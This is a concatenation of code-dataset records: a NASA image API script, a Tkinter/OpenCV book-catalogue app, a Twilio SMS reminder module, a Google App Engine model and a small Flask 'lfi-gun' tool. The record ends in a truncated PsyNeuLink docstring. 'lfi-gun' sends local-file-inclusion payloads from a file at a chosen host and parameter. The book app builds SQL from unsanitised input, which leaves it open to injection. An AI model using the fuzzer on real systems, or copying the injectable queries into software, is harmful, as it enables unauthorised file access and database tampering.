"lux.models.Schema", "line_number": 29, "usage_type": "name"}, {"api_name": "lux.models.fields.UUID", "line_number": 30, "usage_type": "call"}, {"api_name": "lux.models.fields", "line_number": 30, "usage_type": "name"}]} {"seq_id": "495354154", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import (division, absolute_import, print_function,\n unicode_literals, annotations)\n\nfrom urllib.parse import urlencode, quote_plus\nimport requests\n\n\ndef main():\n base_url = 'https://images-api.nasa.gov/search'\n\n search_term = 'apollo 11'\n desc = 'moon landing'\n media = 'image'\n query = {'q': search_term, 'description': desc, 'media_type': media}\n full_url = base_url + '?' + urlencode(query, quote_via=quote_plus)\n\n r = requests.get(full_url)\n data = r.json()\n item = data['collection']['items'][0]\n\n nasa_id = item['data'][0]['nasa_id']\n asset_url = 'https://images-api.nasa.gov/asset/' + nasa_id\n image_request = requests.get(asset_url)\n image_json = image_request.json()\n image_urls = [url['href'] for url in image_json['collection']['items']]\n print(image_urls)\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "python/nasasapi/simple_api_request.py", "file_name": "simple_api_request.py", "file_ext": "py", "file_size_in_byte": 939, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "urllib.parse.urlencode", "line_number": 18, "usage_type": "call"}, {"api_name": "urllib.parse.quote_plus", "line_number": 18, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 20, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 26, "usage_type": "call"}]} {"seq_id": "650780832", "text": "# import the necessary packages\r\nfrom __future__ import print_function\r\nfrom bin.shapedetector import ShapeDetector\r\nfrom PIL import Image\r\nfrom PIL import ImageTk\r\nimport numpy as np\r\nimport tkinter as tki\r\nimport threading\r\nimport imutils\r\nimport cv2\r\nimport sqlite3 as sq\r\n\r\nclass PhotoBoothApp:\r\n\r\n def __init__(self, vs, outputPath):\r\n # store the video stream object and output path, then initialize\r\n # the most recently read frame, thread for reading frames, and\r\n # the thread stop event\r\n self.vs = vs\r\n self.outputPath = outputPath\r\n self.frame = None\r\n self.thread = None\r\n self.stopEvent = None\r\n self.shape = None\r\n\r\n # initialize the root window and image panel\r\n self.root = tki.Tk()\r\n self.panel = None\r\n\r\n\r\n\r\n\r\n # start a thread that constantly pools the video sensor for\r\n # the most recently read frame\r\n self.stopEvent = threading.Event()\r\n self.thread = threading.Thread(target=self.videoLoop, args=())\r\n self.thread.start()\r\n\r\n # Select from which ever compound lift is selected\r\n self.frame2 = tki.LabelFrame(self.root)\r\n self.current_row = 0\r\n\r\n #create a label for databases entry\r\n self.jb_label = tki.Label(self.frame2, text=\"Jenis Buku: \", font=18)\r\n self.jb_label.grid(row=self.current_row, column=0)\r\n self.jb_text = tki.StringVar()\r\n self.jb_entry = tki.Entry(self.frame2, textvariable=self.jb_text, font=18)\r\n self.jb_entry.grid(row=self.current_row, column=1)\r\n self.current_row += 1\r\n\r\n self.k_label = tki.Label(self.frame2, text=\"Kode: \", font=18)\r\n self.k_label.grid(row=self.current_row, column=0)\r\n self.k_text = tki.StringVar()\r\n self.k_entry = tki.Entry(self.frame2, textvariable=self.k_text, font=18)\r\n self.k_entry.grid(row=self.current_row, column=1)\r\n self.current_row += 1\r\n\r\n self.n_label = tki.Label(self.frame2, text=\"Nama Pengarang: \", font=18)\r\n self.n_label.grid(row=self.current_row, column=0)\r\n self.n_text = tki.StringVar()\r\n self.n_entry = tki.Entry(self.frame2, textvariable=self.n_text, font=18)\r\n self.n_entry.grid(row=self.current_row, column=1)\r\n self.current_row += 1\r\n\r\n self.p_label = tki.Label(self.frame2, text=\"Penerbit: \", font=18)\r\n self.p_label.grid(row=self.current_row, column=0)\r\n self.p_text = tki.StringVar()\r\n self.p_entry = tki.Entry(self.frame2, textvariable=self.p_text, font=18)\r\n self.p_entry.grid(row=self.current_row, column=1)\r\n self.current_row += 1\r\n\r\n self.ko_label = tki.Label(self.frame2, text=\"Kota: \", font=18)\r\n self.ko_label.grid(row=self.current_row, column=0)\r\n self.ko_text = tki.StringVar()\r\n self.ko_entry = tki.Entry(self.frame2, textvariable=self.ko_text, font=18)\r\n self.ko_entry.grid(row=self.current_row, column=1)\r\n self.current_row += 1\r\n\r\n self.t_label = tki.Label(self.frame2, text=\"Tahun: \", font=18)\r\n self.t_label.grid(row=self.current_row, column=0)\r\n self.t_text = tki.StringVar()\r\n self.t_entry = tki.Entry(self.frame2, textvariable=self.t_text, font=18)\r\n self.t_entry.grid(row=self.current_row, column=1)\r\n self.current_row += 1\r\n\r\n self.kol_text = tki.StringVar()\r\n self.gab_label = tki.Message(self.frame2, textvariable=self.kol_text, font=18, width=500)\r\n self.gab_label.grid(row=self.current_row)\r\n self.current_row += 1\r\n self.current_row += 1\r\n\r\n # create code input\r\n self.kin_label = tki.Label(self.frame2, text=\"Input kode: \", font=18)\r\n self.kin_label.grid(row=self.current_row, column=0)\r\n self.current_row += 1\r\n self.kin_text = tki.StringVar()\r\n self.kin_entry = tki.Entry(self.frame2, textvariable=self.kin_text, font=18)\r\n self.kin_entry.grid(row=self.current_row, column=0)\r\n self.inkode = tki.Button(self.frame2, text=\"input\",\r\n command=self.inputkode)\r\n self.inkode.grid(row=self.current_row, column=1)\r\n self.current_row += 1\r\n\r\n # create the button\r\n self.btn1 = tki.Button(self.frame2, text=\"Tambah Koleksi\",\r\n command=self.pluskoleksi)\r\n self.btn1.grid(row=self.current_row, column=0)\r\n self.btn2 = tki.Button(self.frame2, text=\"New Capture\",\r\n command=self.resume)\r\n self.current_row += 1\r\n self.btn2.grid(row=self.current_row, column=1)\r\n self.btn1 = tki.Button(self.frame2, text=\"Kurang Koleksi\",\r\n command=self.minkoleksi)\r\n self.btn1.grid(row=self.current_row, column=0)\r\n self.frame2.pack(side=\"right\", fill='y')\r\n\r\n\r\n # set a callback to handle when the window is closed\r\n self.root.wm_title(\"Book Code\")\r\n self.root.wm_protocol(\"WM_DELETE_WINDOW\", self.onClose)\r\n\r\n def videoLoop(self):\r\n # DISCLAIMER:\r\n # I'm not a GUI developer, nor do I even pretend to be. This\r\n # try/except statement is a pretty ugly hack to get around\r\n # a RunTime error that Tkinter throws due to threading\r\n\r\n # threshold up and low din hsv\r\n lower = {'blue': (110, 100, 100), 'red': (-10, 100, 100), 'green': (40, 70, 70),\r\n 'yellow': (20, 100, 117)} # assign new item lower['blue'] = (93, 10, 0)\r\n upper = {'blue': (130, 255, 255), 'red': (10, 255, 255), 'green': (70, 255, 255), 'yellow': (40, 255, 255)}\r\n\r\n # database session\r\n con = sq.connect('data_buku.db') # dB browser for sqlite needed\r\n con.text_factory = str\r\n self.c = con.cursor() # SQLite command, to connect to db so 'execute' method can be called\r\n\r\n try:\r\n # keep looping over frames until we are instructed to stop\r\n while not self.stopEvent.is_set():\r\n # grab the frame from the video stream and resize it to\r\n # have a maximum width of 300 pixels\r\n self.frame = self.vs.read()\r\n self.frame = imutils.resize(self.frame, width=300)\r\n\r\n # OpenCV represents images in BGR order; however PIL\r\n # represents images in RGB order, so we need to swap\r\n # the channels, then convert to PIL and ImageTk format\r\n blurred = cv2.GaussianBlur(self.frame, (11, 11), 0)\r\n image = cv2.cvtColor(blurred, cv2.COLOR_BGR2HSV)\r\n\r\n #make a call for ShapeDetector class\r\n sd = ShapeDetector()\r\n\r\n # for each color in dictionary check object in frame\r\n for self.key, value in upper.items():\r\n # construct a mask for the color from dictionary`1, then perform\r\n # a series of dilations and erosions to remove any small\r\n # blobs left in the mask\r\n kernel = np.ones((9, 9), np.uint8)\r\n mask = cv2.inRange(image, lower[self.key], upper[self.key])\r\n mask = cv2.erode(mask, None, iterations=2)\r\n mask = cv2.dilate(mask, None, iterations=2)\r\n\r\n # find contours in the mask and initialize the current\r\n # (x, y, w, h) center of the rectangle\r\n cnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL,\r\n cv2.CHAIN_APPROX_SIMPLE)[-2]\r\n # cnts = cnts[0] if imutils.is_cv2() else cnts[1]\r\n center = None\r\n\r\n # only proceed if at least one contour was found\r\n if len(cnts) > 0:\r\n # find the largest contour in the mask, then use\r\n # it to compute the minimum enclosing circle and\r\n # centroid\r\n c = max(cnts, key=cv2.contourArea)\r\n (x, y, w, h) = cv2.boundingRect(c)\r\n M = cv2.moments(c)\r\n if (M[\"m00\"] == 0):\r\n M[\"m00\"] = 1\r\n center = (int(M[\"m10\"] / M[\"m00\"]), int(M[\"m01\"] / M[\"m00\"]))\r\n\r\n\r\n if (x+y+w+h) >400:\r\n #Do when reach the minimum contours length\r\n self.shape = sd.detect(c)\r\n cv2.putText(image, self.key, (x, y), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0, 0, 0), 2)\r\n # c = c.astype(\"float\")\r\n c = c.astype(\"int\")\r\n cv2.drawContours(image, [c], -1, (0, 0, 0), 2)\r\n cv2.putText(image, self.shape, (x + 15, y + 15), cv2.FONT_HERSHEY_SIMPLEX,\r\n 0.5, (0, 0, 0), 2)\r\n self.txt = self.key + \" \" + self.shape\r\n\r\n #Gets data from database\r\n plus = 'FROM buku INNER JOIN kode_buku ON buku.id = kode_buku.id WHERE kode_buku.kode = \"' + self.txt + '\"'\r\n self.c.execute('SELECT jenis_buku ' + plus)\r\n\r\n data = self.c.fetchall() # Gets the data from the table\r\n\r\n # Inserts record row by row in label\r\n for row in data:\r\n self.jb_text.set(row)\r\n\r\n self.c.execute(\r\n 'SELECT buku.kode ' + plus)\r\n\r\n data2 = self.c.fetchall()\r\n\r\n for row in data2:\r\n self.k_text.set(row)\r\n\r\n self.c.execute(\r\n 'SELECT nama_pengarang ' + plus)\r\n\r\n data3 = self.c.fetchall()\r\n\r\n for row in data3:\r\n self.n_text.set(row)\r\n\r\n self.c.execute(\r\n 'SELECT penerbit ' + plus)\r\n\r\n data4 = self.c.fetchall()\r\n\r\n for row in data4:\r\n self.p_text.set(row)\r\n\r\n self.c.execute(\r\n 'SELECT kota ' + plus)\r\n\r\n data5 = self.c.fetchall()\r\n\r\n for row in data5:\r\n self.ko_text.set(row)\r\n\r\n self.c.execute(\r\n 'SELECT tahun ' + plus)\r\n\r\n data6 = self.c.fetchall()\r\n\r\n for row in data6:\r\n self.t_text.set(row)\r\n\r\n \r\n self.c.execute(\"SELECT 'Tersedia ' || koleksi || ' koleksi dari total ' || total || ' koleksi' \" + plus)\r\n data7 = self.c.fetchall()\r\n\r\n for row in data7:\r\n self.kol_text.set(row)\r\n \r\n con.commit()\r\n self.stopEvent.set()\r\n\r\n\r\n #Show image in GUI\r\n image = cv2.cvtColor(image, cv2.COLOR_HSV2BGR)\r\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\r\n image = Image.fromarray(image)\r\n image = ImageTk.PhotoImage(image)\r\n\r\n # if the panel is not None, we need to initialize it\r\n if self.panel is None:\r\n self.panel = tki.Label(image=image)\r\n self.panel.image = image\r\n self.panel.pack(side=\"left\", padx=10, pady=10)\r\n\r\n # otherwise, simply update the panel\r\n else:\r\n self.panel.configure(image=image)\r\n self.panel.image = image\r\n\r\n except RuntimeError:\r\n print(\"[INFO] caught a RuntimeError\")\r\n\r\n\r\n def takeSnapshot(self):\r\n #Stop the Thread\r\n self.stopEvent.set()\r\n\r\n\r\n def resume(self):\r\n #Resume the Thread\r\n self.stopEvent = threading.Event()\r\n self.thread = threading.Thread(target=self.videoLoop, args=())\r\n self.thread.start()\r\n\r\n def onClose(self):\r\n # set the stop event, cleanup the camera, and allow the rest of\r\n # the quit process to continue\r\n print(\"[INFO] closing...\")\r\n self.stopEvent.set()\r\n self.vs.stop()\r\n self.root.quit()\r\n\r\n def pluskoleksi(self):\r\n # database session\r\n con = sq.connect('data_buku.db') # dB browser for sqlite needed\r\n con.text_factory = int\r\n c = con.cursor() # SQLite command, to connect to db so 'execute' method can be called\r\n b = con.cursor()\r\n d = con.cursor()\r\n\r\n kode = self.k_text.get()\r\n kode = kode.translate({ord(i): None for i in \"('),\"})\r\n\r\n plus = 'FROM buku WHERE kode = \"' + kode + '\"'\r\n c.execute('SELECT buku.id ' + plus)\r\n\r\n b.execute('SELECT koleksi ' + plus)\r\n\r\n d.execute('SELECT total ' + plus)\r\n\r\n data1 = c.fetchall()\r\n data1 = data1[0][0]\r\n\r\n data2 = b.fetchall()\r\n data2 = data2[0][0]\r\n\r\n data2 = int(data2)\r\n data3 = d.fetchall()\r\n data3 = data3[0][0]\r\n\r\n data3 = int(data3)\r\n if data2 < data3:\r\n w = 1 + data2\r\n c.execute(\r\n 'UPDATE buku SET koleksi = ' + str(w) + ' WHERE buku.id = ' + str(data1))\r\n print(\"done\")\r\n else:\r\n print(\"Maaf, koleksi buku sudah lengkap\")\r\n\r\n con.commit()\r\n\r\n def inputkode(self):\r\n con = sq.connect('data_buku.db') # dB browser for sqlite needed\r\n c = con.cursor() # SQLite command, to connect to db so 'execute' method can be called\r\n\r\n self.kodetext = self.kin_text.get()\r\n\r\n plus1 = 'FROM buku WHERE kode = \"' + self.kodetext + '\"'\r\n c.execute('SELECT jenis_buku ' + plus1)\r\n\r\n data = c.fetchall() # Gets the data from the table\r\n\r\n # Inserts record row by row in label\r\n for row in data:\r\n self.jb_text.set(row)\r\n\r\n c.execute(\r\n 'SELECT buku.kode ' + plus1)\r\n\r\n data2 = c.fetchall()\r\n\r\n for row in data2:\r\n self.k_text.set(row)\r\n\r\n c.execute(\r\n 'SELECT nama_pengarang ' + plus1)\r\n\r\n data3 = c.fetchall()\r\n\r\n for row in data3:\r\n self.n_text.set(row)\r\n\r\n c.execute(\r\n 'SELECT penerbit ' + plus1)\r\n\r\n data4 = c.fetchall()\r\n\r\n for row in data4:\r\n self.p_text.set(row)\r\n\r\n c.execute(\r\n 'SELECT kota ' + plus1)\r\n\r\n data5 = c.fetchall()\r\n\r\n for row in data5:\r\n self.ko_text.set(row)\r\n\r\n c.execute(\r\n 'SELECT tahun ' + plus1)\r\n\r\n data6 = c.fetchall()\r\n\r\n for row in data6:\r\n self.t_text.set(row)\r\n\r\n c.execute(\r\n \"SELECT 'Tersedia ' || koleksi || ' koleksi dari total ' || total || ' koleksi' \" + plus1)\r\n data7 = c.fetchall()\r\n\r\n for row in data7:\r\n self.kol_text.set(row)\r\n\r\n con.commit()\r\n self.stopEvent.set()\r\n\r\n def minkoleksi(self):\r\n # database session\r\n con = sq.connect('data_buku.db') # dB browser for sqlite needed\r\n con.text_factory = int\r\n c = con.cursor() # SQLite command, to connect to db so 'execute' method can be called\r\n b = con.cursor()\r\n d = con.cursor()\r\n\r\n kode = self.k_text.get()\r\n kode = kode.translate({ord(i): None for i in \"('),\"})\r\n\r\n plus = 'FROM buku WHERE kode = \"' + kode + '\"'\r\n c.execute('SELECT buku.id ' + plus)\r\n\r\n b.execute('SELECT koleksi ' + plus)\r\n\r\n d.execute('SELECT total ' + plus)\r\n\r\n data1 = c.fetchall()\r\n data1 = data1[0][0]\r\n\r\n data2 = b.fetchall()\r\n data2 = data2[0][0]\r\n\r\n data3 = d.fetchall()\r\n data3 = data3[0][0]\r\n\r\n data3 = int(data3)\r\n data2 = int(data2)\r\n if data2 > 0:\r\n w = data2 - 1\r\n c.execute(\r\n 'UPDATE buku SET koleksi = ' + str(w) + ' WHERE buku.id = ' + str(data1))\r\n print(\"done\")\r\n con.commit()\r\n else:\r\n print(\"Maaf, koleksi telah kosong\")\r\n\r\n \r\n\r\n\r\n\r\n\r\n", "sub_path": "bin/Book_Code.py", "file_name": "Book_Code.py", "file_ext": "py", "file_size_in_byte": 16553, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tkinter.Tk", "line_number": 27, "usage_type": "call"}, {"api_name": "threading.Event", "line_number": 35, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 36, "usage_type": "call"}, {"api_name": "tkinter.LabelFrame", "line_number": 40, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 44, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 46, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 47, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 51, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 53, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 54, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 58, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 60, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 61, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 65, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 67, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 68, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 72, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 74, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 75, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 79, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 81, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 82, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 86, "usage_type": "call"}, {"api_name": "tkinter.Message", "line_number": 87, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 93, "usage_type": "call"}, {"api_name": "tkinter.StringVar", "line_number": 96, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 97, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 99, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 105, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 108, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 112, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 134, "usage_type": "call"}, {"api_name": "imutils.resize", "line_number": 144, "usage_type": "call"}, {"api_name": "cv2.GaussianBlur", "line_number": 149, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 150, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 150, "usage_type": "attribute"}, {"api_name": "bin.shapedetector.ShapeDetector", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 160, "usage_type": "attribute"}, {"api_name": "cv2.inRange", "line_number": 161, "usage_type": "call"}, {"api_name": "cv2.erode", "line_number": 162, "usage_type": "call"}, {"api_name": "cv2.dilate", "line_number": 163, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 167, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 167, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 168, "usage_type": "attribute"}, {"api_name": "cv2.contourArea", "line_number": 177, "usage_type": "attribute"}, {"api_name": "cv2.boundingRect", "line_number": 178, "usage_type": "call"}, {"api_name": "cv2.moments", "line_number": 179, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 188, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 188, "usage_type": "attribute"}, {"api_name": "cv2.drawContours", "line_number": 191, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 192, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 192, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 258, "usage_type": "call"}, {"api_name": "cv2.COLOR_HSV2BGR", "line_number": 258, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 259, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 259, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 260, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 260, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 261, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 261, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 265, "usage_type": "call"}, {"api_name": "threading.Event", "line_number": 285, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 286, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 299, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 337, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 403, "usage_type": "call"}]} {"seq_id": "464169952", "text": "import datetime\nfrom twilio.rest import TwilioRestClient\nfrom data import *\nimport sqlite3\n\n\naccount_sid = \"\" # Your Account SID from www.twilio.com/console\nauth_token = \"\" # Your Auth Token from www.twilio.com/console\n\nclient = TwilioRestClient(account_sid, auth_token)\n\n\ndef sendMessage(body , to) :\n message = client.messages.create(body=body,\n to= to, # Replace with your phone number\n from_=\"+14133845487\") # Replace with your Twilio number\n print(message.sid)\n\ndef sendBaby(chat_id):\n conn = sqlite3.connect('example.db')\n c = conn.cursor()\n\n c.execute(\"SELECT * FROM subs WHERE chatid = ?\" , [chat_id])\n temp = c.fetchall()[0]\n babyweek = temp[5]\n mobile_no = temp[1]\n for i in babydata :\n if i >= babyweek :\n write_baby( i, babyweek , mobile_no)\n sendMessage(\"You have registered for New Born Baby Vaccination Schedule.\" , '+91' + str(mobile_no))\n\n\ndef write_baby(week , babyweek , mobile_no):\n d = datetime.date.today()\n diff = week - babyweek\n t =datetime.timedelta(days=7*diff)\n a = t+d\n result_date = str(a.day) + '/' + str(a.month) + '/' + str(a.year)\n file = open('messages.csv' , 'a')\n file.write(result_date + ',' + str(mobile_no) + ',' + babydata[week] + '\\n')\n file.close()\n\n\n\ndef sendPreg(chat_id):\n conn = sqlite3.connect('example.db')\n c = conn.cursor()\n\n c.execute(\"SELECT * FROM subs WHERE chatid = ?\" , [chat_id])\n temp = c.fetchall()[0]\n pregweek = temp[3]\n mobile_no = temp[1]\n for i in pregdata :\n if i >= pregweek :\n write_preg( i, pregweek , mobile_no)\n sendMessage(\"You have registered for Pregnancy Checkup Schedule.\" , '+91' + str(mobile_no))\n\n\ndef write_preg(week , pregweek , mobile_no):\n d = datetime.date.today()\n diff = week - pregweek\n t =datetime.timedelta(days=7*diff)\n a = t+d\n result_date = str(a.day) + '/' + str(a.month) + '/' + str(a.year)\n file = open('messages.csv' , 'a')\n file.write(result_date + ',' + str(mobile_no) + ',' + pregdata[week] + '\\n')\n file.close()\n\ndef write_monthly(chat_id) :\n conn = sqlite3.connect('example.db')\n c = conn.cursor()\n c.execute(\"SELECT * FROM subs WHERE chatid = ?\" , [chat_id])\n temp = c.fetchall()[0]\n mobile_no = temp[1]\n d = datetime.date.today()\n for i in range(1,13):\n t = datetime.timedelta(days=30*i)\n a = t+d\n result_date = str(a.day) + '/' + str(a.month) + '/' + str(a.year)\n file = open('messages.csv' , 'a')\n file.write(result_date + ',' + str(mobile_no) + ',' + \"Reminder For Due Monthly Checkup By MEDIBOT\" + '\\n')\n file.close()\n sendMessage(\"You have registered for Monthly Regular Checkup Schedule.\" , '+91' + str(mobile_no))\n", "sub_path": "MEDIBOT/sms.py", "file_name": "sms.py", "file_ext": "py", "file_size_in_byte": 2750, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "twilio.rest.TwilioRestClient", "line_number": 10, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 34, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 34, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 36, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 60, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 62, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 70, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 75, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 75, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 77, "usage_type": "call"}]} {"seq_id": "535025020", "text": "# -*- coding: utf-8 -*-\n# index_page.models\n\nfrom google.appengine.ext import db\n\nclass FeedBack(db.Model):\n question = db.TextProperty(u'Ваш вопрос, отзыв или пожелание')\n email = db.EmailProperty(u'Ваш email')\n telephone = db.StringProperty(\n u'или Ваш телефон (не забудьте указать код города)')\n", "sub_path": "apps/index_page/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 382, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "google.appengine.ext.db.Model", "line_number": 6, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.db", "line_number": 6, "usage_type": "name"}, {"api_name": "google.appengine.ext.db.TextProperty", "line_number": 7, "usage_type": "call"}, {"api_name": "google.appengine.ext.db", "line_number": 7, "usage_type": "name"}, {"api_name": "google.appengine.ext.db.EmailProperty", "line_number": 8, "usage_type": "call"}, {"api_name": "google.appengine.ext.db", "line_number": 8, "usage_type": "name"}, {"api_name": "google.appengine.ext.db.StringProperty", "line_number": 9, "usage_type": "call"}, {"api_name": "google.appengine.ext.db", "line_number": 9, "usage_type": "name"}]} {"seq_id": "265756160", "text": "#!/usr/bin/python3.6\nfrom flask import Flask, request, render_template, render_template_string\nimport requests\n\napp = Flask(__name__)\n\ndef lfi_search(ip,port,param):\n\tfile = open('lfi.txt','r')\n\tres = []\n\tfor x in file:\n\t\tpayload = str('http://'+ip+':'+port+'?'+param+'='+x).strip('\\n')\n\t\tr = requests.get(payload)\n\t\tres.append(r.text)\n\treturn(res)\n\n@app.route(\"/\")\ndef index():\n\treturn render_template_string('Hello World!')\n\n\n@app.route(\"/gun\", methods=['GET', 'POST'])\ndef lfi():\n\tif request.method == 'POST':\n\t\tip = str(request.form['ip'])\n\t\tport = str(request.form['port'])\n\t\tparam = str(request.form['param'])\n\t\tresult = lfi_search(ip,port,param)\n\t\treturn render_template('gun.html', ip=ip,port=port, param=param,result=result)\n\telse:\n\t\treturn render_template('gun.html')\n\n@app.route(\"/hehehe\")\ndef hehehe():\n\treturn render_template_string('lalka')\n\nif __name__ == '__main__':\n\tapp.run(host='0.0.0.0', port=8123,debug=True)\n", "sub_path": "lfi-gun/lfi-gun.py", "file_name": "lfi-gun.py", "file_ext": "py", "file_size_in_byte": 930, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.render_template_string", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 23, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 23, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 24, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 24, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 30, "usage_type": "call"}, {"api_name": "flask.render_template_string", "line_number": 34, "usage_type": "call"}]} {"seq_id": "517682135", "text": "# Princeton University licenses this file to You under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License. You may obtain a copy of the License at:\n# http://www.apache.org/licenses/LICENSE-2.0\n# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed\n# on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and limitations under the License.\n\n\n# **************************************** MECHANISM MODULE ***********************************************************\n\n\"\"\"\n..\n * :ref:`Mechanism_Overview`\n * :ref:`Mechanism_Creation`\n * :ref:`Mechanism_Structure`\n * :ref:`Mechanism_Function`\n * :ref:`Mechanism_States`\n * :ref:`Mechanism_InputStates`\n * :ref:`Mechanism_ParameterStates`\n * :ref:`Mechanism_OutputStates`\n * :ref:`Mechanism_Additional_Attributes`\n * :ref:`Mechanism_Role_In_Processes_And_Systems`\n * :ref:`Mechanism_Execution`\n * :ref:`Mechanism_Runtime_Parameters`\n * :ref:`Mechanism_Class_Reference`\n\n\n.. _Mechanism_Overview:\n\nOverview\n--------\n\nA Mechanism takes an input, transforms it in some way, and makes the result available as its output. There are two\ntypes of Mechanisms in PsyNeuLink:\n\n * `ProcessingMechanisms <ProcessingMechanism>` aggregate the input they receive from other Mechanisms, and/or the\n input to the `Process` or `System` to which they belong, transform it in some way, and\n provide the result as input to other Mechanisms in the Process or System, or as the output for a Process or\n System itself. There are a variety of different types of ProcessingMechanism, that accept various forms of\n input and transform them in different ways (see `ProcessingMechanisms <ProcessingMechanism>` for a list).\n ..\n * `AdaptiveMechanisms <AdaptiveMechanism>` monitor the output of one or more other Mechanisms, and use this\n to modulate the parameters of other Mechanisms or Projections. There are three basic AdaptiveMechanisms:\n\n * `LearningMechanism <LearningMechanism>` - these receive training (target) values, and compare them with the\n output of a Mechanism to generate `LearningSignals <LearningSignal>` that are used to modify `MappingProjections\n <MappingProjection>` (see `learning <Process_Execution_Learning>`).\n |\n * `ControlMechanism <ControlMechanism>` - these evaluate the output of a specified set of Mechanisms, and\n generate `ControlSignals <ControlSignal>` used to modify the parameters of those or other Mechanisms.\n |\n * `GatingMechanism 